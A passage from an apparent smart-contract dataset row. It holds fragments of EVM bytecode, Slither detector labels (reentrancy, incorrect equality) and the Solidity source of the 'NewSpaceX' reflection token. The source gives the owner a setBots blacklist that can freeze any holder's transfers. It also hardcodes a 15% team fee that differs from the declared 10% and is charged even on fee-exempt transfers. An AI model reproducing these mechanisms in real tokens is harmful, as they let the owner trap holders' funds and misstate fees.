0154815250509050600080611ad88d8460000151866000015187602001518d612160565b9092509050611ae782896123db565b9750611af48d8983611f79565b975050505b5080611b0481612434565b915050611a48565b50919792965091945050505050565b60008183106119b557816108d6565b6000828152600b602052604090205442908015801590611b7457506000848152600a602052604081208391611b606001856123c4565b815260200190815260200160002060000154145b15611bad576000848152600a602052604081208491611b946001856123c4565b8152602081019190915260400160002060010155611bfd565b60408051808201825283815260208082018681526000888152600a8352848120868252909252929020905181559051600191820155611bed9082906123db565b6000858152600b60205260409020555b50505050565b600d54428115801590611c35575080600c6000611c216001866123c4565b815260200190815260200160002060000154145b15611c6457600854600c6000611c4c6001866123c4565b81526020810191909152604001600020600101555050565b60408051808201825282815260085460208083019182526000868152600c90915292909220905181559051600191820155611ca09083906123db565b600d555050565b6001600160a01b0381166000908152600260209081526040808320546003909252822054600d5483929190611cdf5794909350915050565b6001600160a01b038516600090815260208190526040902054611d06579442945092505050565b6000611d1183610890565b905060006001600d54611d2491906123c4565b90506001611d3283836123c4565b1115611e0a57815b611d456001836123c4565b811015611e08576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611df5576000600c81611d898560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611dd48c8460000151866000015187602001518d612160565b9092509050611de382896123db565b9750611df08c8983611f79565b975050505b5080611e0081612434565b915050611d3a565b505b6000818152600c60209081526040918290208251808401909352805483526001015490820181905215611e7c576000611e5d89611e468b61086c565b8451611e52908a6119a5565b85602001518a612160565b509050611e6a81866123db565b9450611e77898642611f79565b429550505b509196929550919350505050565b6000836001600160a01b03163b11611ea157600080fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691611efd91906124bd565b6000604051808303816000865af19150503d8060008114611f3a576040519150601f19603f3d011682016040523d82523d6000602084013e611f3f565b606091505b5091509150818015611f69575080511580611f69575080806020019051810190611f69919061249b565b611f7257600080fd5b5050505050565b6001600160a01b0383166000908152600f60205260409020548015801590611fd557506001600160a01b0384166000908152600e602052604081208391611fc16001856123c4565b815260200190815260200160002060000154145b15611fff576001600160a01b0384166000908152600e602052604081208491611b946001856123c4565b60408051808201825283815260208082018681526001600160a01b0388166000908152600e83528481208682529092529290209051815590516001918201556120499082906123db565b6001600160a01b0385166000908152600f602052604090205550505050565b6000846001600160a01b03163b1161207f57600080fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916120e391906124bd565b6000604051808303816000865af19150503d8060008114612120576040519150601f19603f3d011682016040523d82523d6000602084013e612125565b606091505b509150915081801561214f57508051158061214f57508080602001905181019061214f919061249b565b61215857600080fd5b505050505050565b600080600061216f87856119a5565b6001600160a01b0389166000908152602081905260409020549091508590670de0b6b3a7640000906121c26121a48a896119a5565b6001600160a01b038d16600090815260016020526040902054611b1b565b6001600160a01b038c166000908152600160205260409020546121e6908690611b1b565b6121f091906123c4565b6121fa91906123f3565b61220491906123f3565b61220e9190612412565b9890975095505050505050565b6001600160a01b038116811461223057600080fd5b50565b803561223e8161221b565b919050565b6000806040838503121561225657600080fd5b82356122618161221b565b946020939093013593505050565b60006020828403121561228157600080fd5b81356108d68161221b565b6000806040838503121561229f57600080fd5b50508035926020909101359150565b6000602082840312156122c057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156122f057600080fd5b8235915060208084013567ffffffffffffffff8082111561231057600080fd5b818601915086601f83011261232457600080fd5b813581811115612336576123366122c7565b8060051b604051601f19603f8301168101818110858211171561235b5761235b6122c7565b60405291825284820192508381018501918983111561237957600080fd5b938501935b8285101561239e5761238f85612233565b8452938501939285019261237e565b8096505050505050509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156123d6576123d66123ae565b500390565b600082198211156123ee576123ee6123ae565b500190565b600081600019048311821515161561240d5761240d6123ae565b500290565b60008261242f57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415612448576124486123ae565b5060010190565b60006020828403121561246157600080fd5b81516108d68161221b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561249457600080fd5b5051919050565b6000602082840312156124ad57600080fd5b815180151581146108d657600080fd5b6000825160005b818110156124de57602081860181015185830152016124c4565b818111156124ed576000828501525b50919091019291505056fea2646970667358221220a22a6d9731fe98e7396bc8f8c9b50514291e16577c041398eaf2bd17fac19cd864736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,823 |
0x18339f1c4e6114f06ec14ea1c5394245398cd8eb
|
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NewSpaceX is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NewSpaceX";
string private constant _symbol = " NewSpaceX ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600981526020017f4e65775370616365580000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f204e657753706163655820000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffff